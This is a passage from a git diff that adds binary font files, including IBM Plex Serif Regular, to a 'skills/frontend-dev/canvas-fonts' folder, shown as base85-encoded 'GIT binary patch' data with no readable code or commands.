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 TRjnW7*6tb_-nlkM?aKcEp-#ZB literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Regular.ttf b/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..35f454ceac6b101ea3f9bed9f57a68a61519b401 GIT binary patch literal 160380 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 